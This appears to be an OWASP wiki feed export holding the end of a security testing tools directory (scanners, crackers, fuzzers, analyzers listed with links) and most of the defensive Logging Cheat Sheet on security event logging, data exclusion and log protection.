==== Testing Oracle ====&lt;br /&gt;
* TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html&lt;br /&gt;
* Toad for Oracle - http://www.quest.com/toad &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Testing SSL ====&lt;br /&gt;
* Foundstone SSL Digger - http://www.mcafee.com/us/downloads/free-tools/ssldigger.aspx&lt;br /&gt;
* O-Saft - https://www.owasp.org/index.php/O-Saft&lt;br /&gt;
* sslyze - https://github.com/iSECPartners/sslyze&lt;br /&gt;
* TestSSLServer - http://www.bolet.org/TestSSLServer/&lt;br /&gt;
* SSLScan - http://sourceforge.net/projects/sslscan/&lt;br /&gt;
* SSLScan windows - https://github.com/rbsec/sslscan/releases&lt;br /&gt;
* SSLLabs - https://www.ssllabs.com/ssltest/&lt;br /&gt;
&lt;br /&gt;
==== Testing for Brute Force Password ====&lt;br /&gt;
* THC Hydra - http://www.thc.org/thc-hydra/&lt;br /&gt;
* John the Ripper - http://www.openwall.com/john/&lt;br /&gt;
* Brutus - http://www.hoobie.net/brutus/ &lt;br /&gt;
* Medusa - http://www.foofus.net/~jmk/medusa/medusa.html&lt;br /&gt;
* Ncat - http://nmap.org/ncat/&lt;br /&gt;
* HashCat - http://hashcat.net/hashcat/#features-algos&lt;br /&gt;
* fgdump - http://foofus.net/goons/fizzgig/fgdump/&lt;br /&gt;
* Password Dictionary - https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm&lt;br /&gt;
&lt;br /&gt;
==== Testing Buffer Overflow ====&lt;br /&gt;
*  OllyDbg - http://www.ollydbg.de&lt;br /&gt;
** &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot;&lt;br /&gt;
* Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
** A fuzzer framework that can be used to explore vulnerabilities and perform length testing&lt;br /&gt;
* Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net&lt;br /&gt;
** A proactive binary checker&lt;br /&gt;
* Metasploit - http://www.metasploit.com/&lt;br /&gt;
** A rapid exploit development and Testing frame work&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Fuzzer  ====&lt;br /&gt;
* '''[[:Category:OWASP_WSFuzzer_Project|OWASP WSFuzzer]]'''&lt;br /&gt;
* Wfuzz - http://www.darknet.org.uk/2007/07/wfuzz-a-tool-for-bruteforcingfuzzing-web-applications/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Googling ====&lt;br /&gt;
* Bishop Fox's Google Hacking Diggity Project - http://www.bishopfox.com/resources/tools/google-hacking-diggity/&lt;br /&gt;
* Foundstone Sitedigger (Google cached fault-finding) - http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx&lt;br /&gt;
* Google Hacking database - https://www.exploit-db.com/google-hacking-database/&lt;br /&gt;
&lt;br /&gt;
==== Slow HTTP ====&lt;br /&gt;
* Slowloris http://ckers.org/slowloris&lt;br /&gt;
* slowhttptest https://github.com/shekyan/slowhttptest&lt;br /&gt;
&lt;br /&gt;
==Commercial Black Box Testing tools==&lt;br /&gt;
* NGS Typhon III - http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-typhon-iii/&lt;br /&gt;
* NGSSQuirreL - http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-squirrel-vulnerability-scanners/&lt;br /&gt;
* IBM AppScan - http://www-01.ibm.com/software/awdtools/appscan/&lt;br /&gt;
* Trustwave App Scanner (Formerly Cenzic Hailstorm) - https://www.trustwave.com/Products/Application-Security/App-Scanner-Family/App-Scanner-Enterprise/ &lt;br /&gt;
* Burp Intruder - http://www.portswigger.net/burp/intruder.html&lt;br /&gt;
* Acunetix Web Vulnerability Scanner - http://www.acunetix.com&lt;br /&gt;
* Sleuth - http://www.sandsprite.com&lt;br /&gt;
* NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php&lt;br /&gt;
* MaxPatrol Security Scanner - http://www.maxpatrol.com&lt;br /&gt;
* Ecyware GreenBlue Inspector - http://www.ecyware.com&lt;br /&gt;
* Parasoft SOAtest (more QA-type tool)- http://www.parasoft.com/jsp/products/soatest.jsp?itemId=101&lt;br /&gt;
* MatriXay - http://www.dbappsecurity.com/webscan.html&lt;br /&gt;
* N-Stalker Web Application Security Scanner - http://www.nstalker.com&lt;br /&gt;
* HP WebInspect - http://www.hpenterprisesecurity.com/products/hp-fortify-software-security-center/hp-webinspect&lt;br /&gt;
* SoapUI (Web Service security testing) - http://www.soapui.org/Security/getting-started.html&lt;br /&gt;
* Netsparker - http://www.mavitunasecurity.com/netsparker/&lt;br /&gt;
* SAINT - http://www.saintcorporation.com/&lt;br /&gt;
* QualysGuard WAS - http://www.qualys.com/enterprises/qualysguard/web-application-scanning/&lt;br /&gt;
* Indusface WAS- https://www.indusface.com/products/application-security/web-application-scanning&lt;br /&gt;
* Retina Web - http://www.eeye.com/Products/Retina/Web-Security-Scanner.aspx&lt;br /&gt;
&lt;br /&gt;
==Linux Distrubtion==&lt;br /&gt;
* PenTestBox  https://tools.pentestbox.com/&lt;br /&gt;
* Samurai https://sourceforge.net/p/samurai/wiki/Home/&lt;br /&gt;
* Santoku https://sourceforge.net/projects/santoku/&lt;br /&gt;
* ParrotSecurity https://sourceforge.net/projects/parrotsecurity/?source=navbar&lt;br /&gt;
* Kali https://www.kali.org/&lt;br /&gt;
* Matriux https://sourceforge.net/projects/matriux/?source=navbar&lt;br /&gt;
* BlackArch http://www.blackarch.org/downloads.html&lt;br /&gt;
* Cyborg Hawk Linux http://cyborg.ztrela.com/tools/&lt;br /&gt;
* PenToo http://www.pentoo.ch/download/&lt;br /&gt;
* bugtraq http://bugtraq-team.com/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Source Code Analyzers==&lt;br /&gt;
===Open Source / Freeware===&lt;br /&gt;
* [[:Category:OWASP_Orizon_Project|Owasp Orizon]]&lt;br /&gt;
* '''[[:Category:OWASP_LAPSE_Project|OWASP LAPSE]]''' &lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
* [[OWASP WAP-Web Application Protection]]&lt;br /&gt;
* Boon - http://www.cs.berkeley.edu/~daw/boon&lt;br /&gt;
* FindBugs - http://findbugs.sourceforge.net&lt;br /&gt;
* Find Security Bugs - https://find-sec-bugs.github.io/&lt;br /&gt;
* FlawFinder - http://www.dwheeler.com/flawfinder&lt;br /&gt;
* Google CodeSearchDiggity - http://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/&lt;br /&gt;
* phpcs-security-audit - https://github.com/FloeDesignTechnologies/phpcs-security-audit&lt;br /&gt;
* PMD - http://pmd.sourceforge.net/&lt;br /&gt;
* Microsoft’s [[FxCop]]&lt;br /&gt;
* .NET Security Guard - https://dotnet-security-guard.github.io/&lt;br /&gt;
* Oedipus - http://www.darknet.org.uk/2006/06/oedipus-open-source-web-application-security-analysis/&lt;br /&gt;
* Puma Scan - https://pumascan.com&lt;br /&gt;
* Splint - http://splint.org&lt;br /&gt;
* SonarQube - http://sonarqube.org&lt;br /&gt;
* W3af - http://w3af.sourceforge.net/&lt;br /&gt;
&lt;br /&gt;
===Commercial ===&lt;br /&gt;
&lt;br /&gt;
* Armorize CodeSecure - http://www.armorize.com/index.php?link_id=codesecure&lt;br /&gt;
* Parasoft C/C++ test - http://www.parasoft.com/jsp/products/cpptest.jsp/index.htm&lt;br /&gt;
* Checkmarx CxSuite  - http://www.checkmarx.com&lt;br /&gt;
* HP Fortify - http://www.hpenterprisesecurity.com/products/hp-fortify-software-security-center/hp-fortify-static-code-analyzer&lt;br /&gt;
* GrammaTech - http://www.grammatech.com&lt;br /&gt;
* ITS4 - http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html&lt;br /&gt;
* Appscan - http://www-01.ibm.com/software/rational/products/appscan/source/&lt;br /&gt;
* ParaSoft - http://www.parasoft.com&lt;br /&gt;
* Puma Scan Professional - https://pumascanpro.com&lt;br /&gt;
* Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de&lt;br /&gt;
* Veracode - http://www.veracode.com&lt;br /&gt;
* Armorize CodeSecure - http://www.armorize.com/codesecure/&lt;br /&gt;
* Peach Fuzzer - http://www.peachfuzzer.com/&lt;br /&gt;
* Burp Suite - https://portswigger.net/burp/&lt;br /&gt;
&lt;br /&gt;
==Acceptance Testing Tools==&lt;br /&gt;
Acceptance testing tools are used to validate the functionality of web applications.  Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases.  Most, if not all, can be adapted to perform security specific tests in addition to functional tests.&lt;br /&gt;
* BDD Security - https://github.com/continuumsecurity/bdd-security&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Open Source Tools===&lt;br /&gt;
&lt;br /&gt;
* WATIR - http://wtr.rubyforge.org&lt;br /&gt;
** A Ruby based web testing framework that provides an interface into Internet Explorer.&lt;br /&gt;
** Windows only.&lt;br /&gt;
* HtmlUnit - http://htmlunit.sourceforge.net &lt;br /&gt;
** A Java and JUnit based framework that uses the Apache HttpClient as the transport.&lt;br /&gt;
** Very robust and configurable and is used as the engine for a number of other testing tools.&lt;br /&gt;
* jWebUnit - http://jwebunit.sourceforge.net&lt;br /&gt;
** A Java based meta-framework that uses htmlunit or selenium as the testing engine.&lt;br /&gt;
* Canoo Webtest - http://webtest.canoo.com&lt;br /&gt;
** An XML based testing tool that provides a facade on top of htmlunit.&lt;br /&gt;
** No coding is necessary as the tests are completely specified in XML.&lt;br /&gt;
** There is the option of scripting some elements in Groovy if XML does not suffice.&lt;br /&gt;
** Very actively maintained.&lt;br /&gt;
* HttpUnit - http://httpunit.sourceforge.net&lt;br /&gt;
** One of the first web testing frameworks, suffers from using the native JDK provided HTTP transport, which can be a bit limiting for security testing.&lt;br /&gt;
* Watij - http://watij.com&lt;br /&gt;
** A Java implementation of WATIR.&lt;br /&gt;
** Windows only because it uses IE for its tests (Mozilla integration is in the works).&lt;br /&gt;
* Solex - http://solex.sourceforge.net&lt;br /&gt;
** An Eclipse plugin that provides a graphical tool to record HTTP sessions and make assertions based on the results.&lt;br /&gt;
* Selenium - http://seleniumhq.org/&lt;br /&gt;
** JavaScript based testing framework, cross-platform and provides a GUI for creating tests.&lt;br /&gt;
** Mature and popular tool, but the use of JavaScript could hamper certain security tests.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Other Tools==&lt;br /&gt;
&lt;br /&gt;
===Runtime Analysis===&lt;br /&gt;
&lt;br /&gt;
* Rational PurifyPlus - http://www-01.ibm.com/software/awdtools/purify/&lt;br /&gt;
* Seeker by Quotium - http://www.quotium.com/prod/security.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Binary Analysis===&lt;br /&gt;
&lt;br /&gt;
* BugScam IDC Package - http://sourceforge.net/projects/bugscam&lt;br /&gt;
* Veracode - http://www.veracode.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Requirements Management===&lt;br /&gt;
&lt;br /&gt;
* Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Site Mirroring===&lt;br /&gt;
* wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.html&lt;br /&gt;
* curl - http://curl.haxx.se &lt;br /&gt;
* Sam Spade - http://www.samspade.org&lt;br /&gt;
* Xenu's Link Sleuth - http://home.snafu.de/tilman/xenulink.html&lt;br /&gt;
&lt;br /&gt;
[[Category:SAMM-CR-2]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Logging_Cheat_Sheet&amp;diff=240873</id>
		<title>Logging Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Logging_Cheat_Sheet&amp;diff=240873"/>
				<updated>2018-05-22T21:48:31Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Remove Common Event Expression (CEE) as MITRE has stopped all work on CEE in 2014&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is focused on providing developers with concentrated guidance on building application logging mechanisms, especially related to security logging. Many systems enable network device, operating system, web server, mail server and database server logging, but often custom application event logging is missing, disabled or poorly configured. It provides much greater insight than infrastructure logging alone. Web application (e.g. web site or web service) logging is much more than having web server logs enabled (e.g. using Extended Log File Format).&lt;br /&gt;
&lt;br /&gt;
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.&lt;br /&gt;
&lt;br /&gt;
= Purpose =&lt;br /&gt;
&lt;br /&gt;
Application logging should be always be included for security events. Application logs are invaluable data for:&lt;br /&gt;
&lt;br /&gt;
* Identifying security incidents&lt;br /&gt;
* Monitoring policy violations&lt;br /&gt;
* Establishing baselines&lt;br /&gt;
* Assisting non-repudiation controls&lt;br /&gt;
* Providing information about problems and unusual conditions&lt;br /&gt;
* Contributing additional application-specific data for incident investigation which is lacking in other log sources&lt;br /&gt;
* Helping defend against vulnerability identification and exploitation through attack detection&lt;br /&gt;
&lt;br /&gt;
Application logging might also be used to record other types of events too such as:&lt;br /&gt;
&lt;br /&gt;
* Security events&lt;br /&gt;
* Business process monitoring e.g. sales process abandonment, transactions, connections&lt;br /&gt;
* Anti-automation monitoring&lt;br /&gt;
* Audit trails e.g. data addition, modification and deletion, data exports&lt;br /&gt;
* Performance monitoring e.g. data load time, page timeouts&lt;br /&gt;
* Compliance monitoring&lt;br /&gt;
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations&lt;br /&gt;
* Legally sanctioned interception of data e.g application-layer wire-tapping&lt;br /&gt;
* Other business-specific requirements&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much. The remainder of this cheat sheet primarily discusses security event logging.&lt;br /&gt;
&lt;br /&gt;
= Design, implementation and testing =&lt;br /&gt;
&lt;br /&gt;
== Event data sources ==&lt;br /&gt;
&lt;br /&gt;
The application itself has access to a wide range of information events that should be used to generate log entries. Thus, the primary event data source is the application code itself.  The application has the most information about the user (e.g. identity, roles, permissions) and the context of the event (target, action, outcomes), and often this data is not available to either infrastructure devices, or even closely-related applications.&lt;br /&gt;
&lt;br /&gt;
Other sources of information about application usage that could also be considered are:&lt;br /&gt;
&lt;br /&gt;
* Client software e.g. actions on desktop software and mobile devices in local logs or using messaging technologies,  JavaScript exception handler via Ajax, web browser such as using Content Security Policy (CSP) reporting mechanism&lt;br /&gt;
* Embedded instrumentation code&lt;br /&gt;
* Network firewalls&lt;br /&gt;
* Network and host intrusion detection systems (NIDS and HIDS)&lt;br /&gt;
* Closely-related applications e.g. filters built into web server software, web server URL redirects/rewrites to scripted custom error pages and handlers&lt;br /&gt;
* Application firewalls e.g. filters, guards, XML gateways, database firewalls, web application firewalls (WAFs)&lt;br /&gt;
* Database applications e.g. automatic audit trails, trigger-based actions&lt;br /&gt;
* Reputation monitoring services e.g. uptime or malware monitoring&lt;br /&gt;
* Other applications e.g. fraud monitoring, CRM&lt;br /&gt;
* Operating system e.g. mobile platform&lt;br /&gt;
&lt;br /&gt;
The degree of confidence in the event information has to be considered when including event data from systems in a different trust zone. Data may be missing, modified, forged, replayed and could be malicious – it must always be treated as untrusted data. Consider how the source can be verified, and how integrity and non-repudiation can be enforced.&lt;br /&gt;
&lt;br /&gt;
== Where to record event data ==&lt;br /&gt;
&lt;br /&gt;
Applications commonly write event log data to the file system or a database (SQL or NoSQL). Applications installed on desktops and on mobile devices may use local storage and local databases, as well as sending data to remote storage. Your selected framework may limit the available choices. All types of applications may send event data to remote systems (instead of or as well as more local storage). This could be a centralized log collection and management system (e.g. SIEM or SEM) or another application elsewhere. Consider whether the application can simply send its event stream, unbuffered, to stdout, for management by the execution environment.&lt;br /&gt;
&lt;br /&gt;
* When using the file system, it is preferable to use a separate partition than those used by the operating system, other application files and user generated content&lt;br /&gt;
** For file-based logs, apply strict permissions concerning which users can access the directories, and the permissions of files within the directories&lt;br /&gt;
** In web applications, the logs should not be exposed in web-accessible locations, and if done so, should have restricted access and be configured with a plain text MIME type (not HTML)&lt;br /&gt;
* When using a database, it is preferable to utilize a separate database account that is only used for writing log data and which has very restrictive database , table, function and command permissions&lt;br /&gt;
* Use standard formats over secure protocols to record and send event data, or log files, to other systems e.g. Common Log File System (CLFS) or Common Event Format (CEF) over syslog; standard formats facilitate integration with centralised logging services&lt;br /&gt;
&lt;br /&gt;
Consider separate files/tables for extended event information such as error stack traces or a record of HTTP request and response headers and bodies.&lt;br /&gt;
&lt;br /&gt;
== Which events to log ==&lt;br /&gt;
&lt;br /&gt;
The level and content of security monitoring, alerting and reporting needs to be set during the requirements and design stage of projects, and should be proportionate to the information security risks. This can then be used to define what should be logged. There is no one size fits all solution, and a blind checklist approach can lead to unnecessary &amp;quot;alarm fog&amp;quot; that means real problems go undetected. Where possible, always log:&lt;br /&gt;
&lt;br /&gt;
* Input validation failures e.g. protocol violations, unacceptable encodings, invalid parameter names and values&lt;br /&gt;
* Output validation failures e.g. database record set mismatch, invalid data encoding&lt;br /&gt;
* Authentication successes and failures&lt;br /&gt;
* Authorization (access control) failures&lt;br /&gt;
* Session management failures e.g. cookie session identification value modification&lt;br /&gt;
* Application errors and system events e.g. syntax and runtime errors, connectivity problems, performance issues, third party service error messages, file system errors, file upload virus detection, configuration changes&lt;br /&gt;
* Application and related systems start-ups and shut-downs, and logging initialization (starting, stopping or pausing)&lt;br /&gt;
* Use of higher-risk functionality e.g. network connections, addition or deletion of users, changes to privileges, assigning users to tokens, adding or deleting tokens, use of systems administrative privileges, access by application administrators,all actions by users with administrative privileges,  access to payment cardholder data, use of data encrypting keys, key changes, creation and deletion of system-level objects, data import and export including screen-based reports, submission of user-generated content - especially file uploads&lt;br /&gt;
* Legal and other opt-ins e.g. permissions for mobile phone capabilities, terms of use, terms &amp;amp; conditions, personal data usage consent, permission to receive marketing communications&lt;br /&gt;
&lt;br /&gt;
Optionally consider if the following events can be logged and whether it is desirable information:&lt;br /&gt;
&lt;br /&gt;
* Sequencing failure&lt;br /&gt;
* Excessive use&lt;br /&gt;
* Data changes&lt;br /&gt;
* Fraud and other criminal activities&lt;br /&gt;
* Suspicious, unacceptable or unexpected behavior&lt;br /&gt;
* Modifications to configuration&lt;br /&gt;
* Application code file and/or memory changes&lt;br /&gt;
&lt;br /&gt;
== Event attributes ==&lt;br /&gt;
&lt;br /&gt;
Each log entry needs to include sufficient information for the intended subsequent monitoring and analysis. It could be full content data, but is more likely to be an extract or just summary properties. The application logs must record &amp;quot;when, where, who and what&amp;quot; for each event. The properties for these will be different depending on the architecture, class of application and host system/device, but often include the following:&lt;br /&gt;
&lt;br /&gt;
* When&lt;br /&gt;
** Log date and time (international format)&lt;br /&gt;
** Event date and time - the event time stamp may be different to the time of logging e.g. server logging where the client application is hosted on remote device that is only periodically or intermittently online&lt;br /&gt;
** Interaction identifier [Note A]&lt;br /&gt;
* Where&lt;br /&gt;
** Application identifier e.g. name and version&lt;br /&gt;
** Application address e.g. cluster/host name or server IPv4 or IPv6 address and port number, workstation identity, local device identifier&lt;br /&gt;
** Service e.g. name and protocol&lt;br /&gt;
** Geolocation&lt;br /&gt;
** Window/form/page e.g. entry point URL and HTTP method for a web application, dialogue box name&lt;br /&gt;
** Code location e.g. script name, module name&lt;br /&gt;
* Who (human or machine user)&lt;br /&gt;
** Source address e.g. user's device/machine identifier, user's IP address, cell/RF tower ID, mobile telephone number&lt;br /&gt;
** User identity (if authenticated or otherwise known) e.g. user database table primary key value, user name, license number&lt;br /&gt;
* What&lt;br /&gt;
** Type of event [Note B]&lt;br /&gt;
** Severity of event [Note B] e.g. {0=emergency, 1=alert, ..., 7=debug}, {fatal, error, warning, info, debug, trace}&lt;br /&gt;
** Security relevant event flag (if the logs contain non-security event data too)&lt;br /&gt;
** Description&lt;br /&gt;
&lt;br /&gt;
Additionally consider recording:&lt;br /&gt;
&lt;br /&gt;
* Secondary time source (e.g. GPS) event date and time&lt;br /&gt;
* Action - original intended purpose of the request e.g. Log in, Refresh session ID, Log out, Update profile&lt;br /&gt;
* Object e.g. the affected component or other object (user account, data resource, file) e.g. URL, Session ID, User account, File&lt;br /&gt;
* Result status -  whether the ACTION aimed at the OBJECT was successful e.g. Success, Fail, Defer&lt;br /&gt;
* Reason - why the status above occurred e.g. User not authenticated in database check ..., Incorrect credentials&lt;br /&gt;
* HTTP Status Code (web applications only) - the status code returned to the user (often 200 or 301)&lt;br /&gt;
* Request HTTP headers or HTTP User Agent (web applications only)&lt;br /&gt;
* User type classification e.g. public, authenticated user, CMS user, search engine, authorized penetration tester, uptime monitor (see &amp;quot;Data to exclude&amp;quot; below)&lt;br /&gt;
* Analytical confidence in the event detection [Note B] e.g. low, medium, high or a numeric value&lt;br /&gt;
* Responses seen by the user and/or taken by the application e.g. status code, custom text messages, session termination, administrator alerts&lt;br /&gt;
* Extended details e.g. stack trace, system error messages, debug information, HTTP request body, HTTP response headers and body&lt;br /&gt;
* Internal classifications e.g. responsibility, compliance references&lt;br /&gt;
* External classifications e.g. NIST Security Content Automation Protocol (SCAP), Mitre Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
&lt;br /&gt;
For more information on these, see the &amp;quot;other&amp;quot; related articles listed at the end, especially the comprehensive article by Anton Chuvakin and Gunnar Peterson.&lt;br /&gt;
&lt;br /&gt;
Note A: The &amp;quot;Interaction identifier&amp;quot; is a method of linking all (relevant) events for a single user interaction (e.g. desktop application form submission, web page request, mobile app button click, web service call). The application knows all these events relate to the same interaction, and this should be recorded instead of losing the information and forcing subsequent correlation techniques to re-construct the separate events. For example a single SOAP request may have multiple input validation failures and they may span a small range of times. As another example, an output validation failure may occur much later than the input submission for a long-running &amp;quot;saga request&amp;quot; submitted by the application to a database server.&lt;br /&gt;
&lt;br /&gt;
Note B: Each organisation should ensure it has a consistent, and documented, approach to classification of events (type, confidence, severity), the syntax of descriptions, and field lengths &amp;amp; data types including the format used for dates/times.&lt;br /&gt;
&lt;br /&gt;
== Data to exclude ==&lt;br /&gt;
&lt;br /&gt;
Never log data unless it is legally sanctioned. For example intercepting some communications, monitoring employees, and collecting some data without consent may all be illegal.&lt;br /&gt;
&lt;br /&gt;
Never exclude any events from &amp;quot;known&amp;quot; users such as other internal systems, &amp;quot;trusted&amp;quot; third parties, search engine robots, uptime/process and other remote monitoring systems, pen testers, auditors. However, you may want to include a classification flag for each of these in the recorded data.&lt;br /&gt;
&lt;br /&gt;
The following should not usually be recorded directly in the logs, but instead should be removed, masked, sanitized, hashed or encrypted:&lt;br /&gt;
&lt;br /&gt;
* Application source code&lt;br /&gt;
* Session identification values (consider replacing with a hashed value if needed to track session specific events)&lt;br /&gt;
* Access tokens&lt;br /&gt;
* Sensitive personal data and some forms of personally identifiable information (PII) e.g. health, government identifiers, vulnerable people&lt;br /&gt;
* Authentication passwords&lt;br /&gt;
* Database connection strings&lt;br /&gt;
* Encryption keys and other master secrets&lt;br /&gt;
* Bank account or payment card holder data&lt;br /&gt;
* Data of a higher security classification than the logging system is allowed to store&lt;br /&gt;
* Commercially-sensitive information&lt;br /&gt;
* Information it is illegal to collect in the relevant jurisdictions&lt;br /&gt;
* Information a user has opted out of collection, or not consented to e.g. use of do not track, or where consent to collect has expired&lt;br /&gt;
&lt;br /&gt;
Sometimes the following data can also exist, and whilst useful for subsequent investigation, it may also need to be treated in some special manner before the event is recorded:&lt;br /&gt;
&lt;br /&gt;
* File paths&lt;br /&gt;
* Database connection strings&lt;br /&gt;
* Internal network names and addresses&lt;br /&gt;
* Non sensitive personal data (e.g. personal names, telephone numbers, email addresses)&lt;br /&gt;
&lt;br /&gt;
Consider using personal data de-identification techniques such as deletion, scrambling or pseudonymization of direct and indirect identifiers where the individual's identity is not required, or the risk is considered too great.&lt;br /&gt;
&lt;br /&gt;
In some systems, sanitization can be undertaken post log collection, and prior to log display.&lt;br /&gt;
&lt;br /&gt;
== Customizable logging ==&lt;br /&gt;
&lt;br /&gt;
It may be desirable to be able to alter the level of logging (type of events based on severity or threat level, amount of detail recorded). If this is implemented, ensure that:&lt;br /&gt;
&lt;br /&gt;
* The default level must provide sufficient detail for business needs&lt;br /&gt;
* It should not be possible to completely inactivate application logging or logging of events that are necessary for compliance requirements&lt;br /&gt;
* Alterations to the level/extent of logging must be intrinsic to the application (e.g. undertaken automatically by the application based on an approved algorithm) or follow change management processes (e.g. changes to configuration data, modification of source code)&lt;br /&gt;
* The logging level must be verified periodically&lt;br /&gt;
&lt;br /&gt;
== Event collection == &lt;br /&gt;
&lt;br /&gt;
If your development framework supports suitable logging mechanisms use, or build upon that. Otherwise, implement an application-wide log handler which can be called from other modules/components. Document the interface referencing the organisation-specific event classification and description syntax requirements. If possible create this log handler as a standard module that can is thoroughly tested,  deployed in multiple application, and added to a list of approved &amp;amp; recommended  modules.&lt;br /&gt;
&lt;br /&gt;
* Perform input validation on event data from other trust zones to ensure it is in the correct format (and consider alerting and not logging if there is an input validation failure)&lt;br /&gt;
* Perform sanitization on all event data to prevent log injection attacks e.g. carriage return (CR), line feed (LF) and delimiter characters (and optionally to remove sensitive data)&lt;br /&gt;
* Encode data correctly for the output (logged) format&lt;br /&gt;
* If writing to databases, read, understand and apply the SQL injection cheat sheet&lt;br /&gt;
* Ensure failures in the logging processes/systems do not prevent the application from otherwise running or allow information leakage&lt;br /&gt;
* Synchronize time across all servers and devices [Note C]&lt;br /&gt;
&lt;br /&gt;
Note C: This is not always possible where the application is running on a device under some other party's control (e.g. on an individual's mobile phone, on a remote customer's workstation which is on another corporate network). In these cases attempt to measure the time offset, or record a confidence level in the event time stamp.&lt;br /&gt;
&lt;br /&gt;
Where possible record data in a standard format, or at least ensure it can be exported/broadcast using an industry-standard format.&lt;br /&gt;
&lt;br /&gt;
In some cases, events may be relayed or collected together in intermediate points. In the latter some data may be aggregated or summarized before forwarding on to a central repository and analysis system.&lt;br /&gt;
&lt;br /&gt;
== Verification ==&lt;br /&gt;
&lt;br /&gt;
Logging functionality and systems must be included in code review, application testing and security verification processes:&lt;br /&gt;
&lt;br /&gt;
* Ensure the logging is working correctly and as specified&lt;br /&gt;
* Check events are being classified consistently and the field names, types and lengths are correctly defined to an agreed standard&lt;br /&gt;
* Ensure logging is implemented and enabled during application security, fuzz, penetration and performance testing&lt;br /&gt;
* Test the mechanisms are not susceptible to injection attacks&lt;br /&gt;
* Ensure there are no unwanted side-effects when logging occurs&lt;br /&gt;
* Check the effect on the logging mechanisms when external network connectivity is lost (if this is usually required)&lt;br /&gt;
* Ensure logging cannot be used to deplete system resources, for example by filling up disk space or exceeding database transaction log space, leading to denial of service&lt;br /&gt;
* Test the effect on the application of logging failures such as simulated database connectivity loss, lack of file system space, missing write permissions to the file system, and runtime errors in the logging module itself&lt;br /&gt;
* Verify access controls on the event log data&lt;br /&gt;
* If log data is utilized in any action against users (e.g. blocking access, account lock-out), ensure this cannot be used to cause denial of service (DoS) of other users&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Deployment and operation =&lt;br /&gt;
&lt;br /&gt;
== Release ==&lt;br /&gt;
&lt;br /&gt;
* Provide security configuration information by adding details about the logging mechanisms to release documentation&lt;br /&gt;
* Brief the application/process owner about the application logging mechanisms&lt;br /&gt;
* Ensure the outputs of the monitoring (see below) are integrated with incident response processes&lt;br /&gt;
&lt;br /&gt;
== Operation ==&lt;br /&gt;
&lt;br /&gt;
Enable processes to detect whether logging has stopped, and to identify tampering or unauthorized access and deletion (see protection below).&lt;br /&gt;
&lt;br /&gt;
== Protection ==&lt;br /&gt;
&lt;br /&gt;
The logging mechanisms and collected event data must be protected from mis-use such as tampering in transit, and unauthorized access, modification and deletion once stored. Logs may contain personal and other sensitive information, or the data may contain information regarding the application's code and logic. In addition, the collected information in the logs may itself have business value (to competitors, gossip-mongers, journalists and activists) such as allowing the estimate of revenues, or providing performance information about employees. This data may be held on end devices, at intermediate points, in centralized repositories and in archives and backups. Consider whether parts of the data may need to be excluded, masked, sanitized, hashed or encrypted during examination or extraction.&lt;br /&gt;
&lt;br /&gt;
At rest:&lt;br /&gt;
&lt;br /&gt;
* Build in tamper detection so you know if a record has been modified or deleted&lt;br /&gt;
* Store or copy log data to read-only media as soon as possible&lt;br /&gt;
* All access to the logs must be recorded and monitored (and may need prior approval)&lt;br /&gt;
* The privileges to read log data should be restricted and reviewed periodically&lt;br /&gt;
&lt;br /&gt;
In transit:&lt;br /&gt;
&lt;br /&gt;
